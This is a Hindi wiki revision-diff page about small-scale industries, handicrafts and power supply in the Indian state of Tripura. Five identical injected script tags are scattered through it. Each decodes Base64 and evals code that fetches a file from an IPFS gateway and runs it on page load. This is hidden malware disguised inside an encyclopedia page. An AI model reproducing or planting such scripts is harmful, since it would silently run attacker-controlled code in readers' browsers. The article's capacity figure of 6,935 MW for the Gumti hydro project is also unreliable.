"त्रिपुरा के उद्योग" के अवतरणों में अंतर
शिल्पी गोयल (चर्चा | योगदान) ('{{पुनरीक्षण}} *त्रिपुरा में मुख्यतः छोटे पैमाने पर न...' के साथ नया पन्ना बनाया) |
शिल्पी गोयल (चर्चा | योगदान) |
||
पंक्ति 3: | पंक्ति 3: | ||
*छोटे पैमाने के उद्योगों के विकास को बढ़ाने में राज्य सरकार सक्रिय है। | *छोटे पैमाने के उद्योगों के विकास को बढ़ाने में राज्य सरकार सक्रिय है। | ||
*[[बाँस]] व बेंत हस्तशिल्प में कक्ष विभाजक, फ़र्नीचर भित्तिपट्टिका, टेबल मैट और फ़र्श पर बिछाने वाली चटाईयाँ शामिल हैं, जिन्हें स्थानीय स्तर पर बनाया जाता है। | *[[बाँस]] व बेंत हस्तशिल्प में कक्ष विभाजक, फ़र्नीचर भित्तिपट्टिका, टेबल मैट और फ़र्श पर बिछाने वाली चटाईयाँ शामिल हैं, जिन्हें स्थानीय स्तर पर बनाया जाता है। | ||
− | *औद्योगिक इकाईयाँ [[चाय]], | + | *औद्योगिक इकाईयाँ [[चाय]], चीनी डिब्बाबंद फल कृषि औज़ार ईंट और जूते-चप्पल बनाती हैं। |
*अपेक्षाकृत बड़े उपक्रमों में कताई मिल, जूट मिल, इस्पात मिल, प्लाईवुड फ़ैक्टी और औषधि संयंत्र शामिल हैं। | *अपेक्षाकृत बड़े उपक्रमों में कताई मिल, जूट मिल, इस्पात मिल, प्लाईवुड फ़ैक्टी और औषधि संयंत्र शामिल हैं। | ||
*[[अगरतला]] अंबासा खोवाई, धर्मनगर, कैलाशहर, [[उदयपुर]] और बगाफा में स्थित डीज़ल चालित ताप संयंत्रों से बिजली मिलती है। | *[[अगरतला]] अंबासा खोवाई, धर्मनगर, कैलाशहर, [[उदयपुर]] और बगाफा में स्थित डीज़ल चालित ताप संयंत्रों से बिजली मिलती है। |
12:30, 7 जून 2011 का अवतरण
इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव" |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- त्रिपुरा में मुख्यतः छोटे पैमाने पर निर्माण कार्य होता है, जिसमें बुनाई, बढ़ईगिरि, टोकरी व मिट्टी के बर्तन बनाने जैसे कई कुटीर उद्योग शामिल हैं।
- छोटे पैमाने के उद्योगों के विकास को बढ़ाने में राज्य सरकार सक्रिय है।
- बाँस व बेंत हस्तशिल्प में कक्ष विभाजक, फ़र्नीचर भित्तिपट्टिका, टेबल मैट और फ़र्श पर बिछाने वाली चटाईयाँ शामिल हैं, जिन्हें स्थानीय स्तर पर बनाया जाता है।
- औद्योगिक इकाईयाँ चाय, चीनी डिब्बाबंद फल कृषि औज़ार ईंट और जूते-चप्पल बनाती हैं।
- अपेक्षाकृत बड़े उपक्रमों में कताई मिल, जूट मिल, इस्पात मिल, प्लाईवुड फ़ैक्टी और औषधि संयंत्र शामिल हैं।
- अगरतला अंबासा खोवाई, धर्मनगर, कैलाशहर, उदयपुर और बगाफा में स्थित डीज़ल चालित ताप संयंत्रों से बिजली मिलती है।
- इसके अलावा गुमटी पनबिजली परियोजना (1976 में पूरी हुई) से भी बिजली मिलती है। इसकी कुल स्थापित क्षमता 6,935 मेगावाट है।
- राज्य में हाल ही में प्राकृतिक गैस के व्यापक संसाधनों की खोज हुई है।
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>